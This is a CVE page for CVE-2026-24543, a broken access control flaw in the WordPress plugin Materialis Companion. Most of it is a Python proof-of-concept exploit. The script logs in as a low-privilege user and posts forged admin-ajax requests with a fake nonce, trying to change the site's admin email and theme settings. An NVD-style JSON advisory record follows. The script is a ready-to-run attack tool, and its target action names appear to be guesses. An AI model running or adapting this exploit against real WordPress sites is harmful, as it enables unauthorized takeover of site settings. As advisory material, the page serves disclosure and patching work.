CVE-2026-24543

import requests import sys # CVE-2026-24543 PoC - Materialis Companion Broken Access Control # Target: WordPress site with Materialis Companion plugin <= 1.3.52 def exploit_cve_2026_24543(target_url, username, password): """ Exploit Missing Authorization in Materialis Companion plugin This PoC demonstrates how a low-privilege user can perform admin actions """ session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful as low-privilege user") # Step 2: Exploit broken access control # Target the vulnerable AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Common vulnerable actions in Materialis Companion vulnerable_actions = [ 'materialis_companion_save_settings', 'materialis_companion_update_options', 'materialis_companion_save_customizer' ] for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': 'fake_nonce_or_empty', # Some endpoints don't validate nonce # Malicious payload - modify plugin settings 'settings[admin_email]': '[email protected]', 'settings[theme_mods]': 'malicious_value' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[!] Action '{action}' may be vulnerable") print(f"[*] Response: {response.text[:200]}") print("[*] Check target site for unauthorized modifications") return True if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) exploit_cve_2026_24543(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-24543", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:10.637", "lastModified": "2026-04-28T15:16:12.327", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Horea Radu Materialis Companion materialis-companion allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Materialis Companion: from n/a through <= 1.3.52."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Horea Radu Materialis Companion materialis-companion permite explotar niveles de seguridad de control de acceso incorrectamente configurados. Este problema afecta a Materialis Companion: desde n/a hasta &lt;= 1.3.52."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/materialis-companion/vulnerability/wordpress-materialis-companion-plugin-1-3-52-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}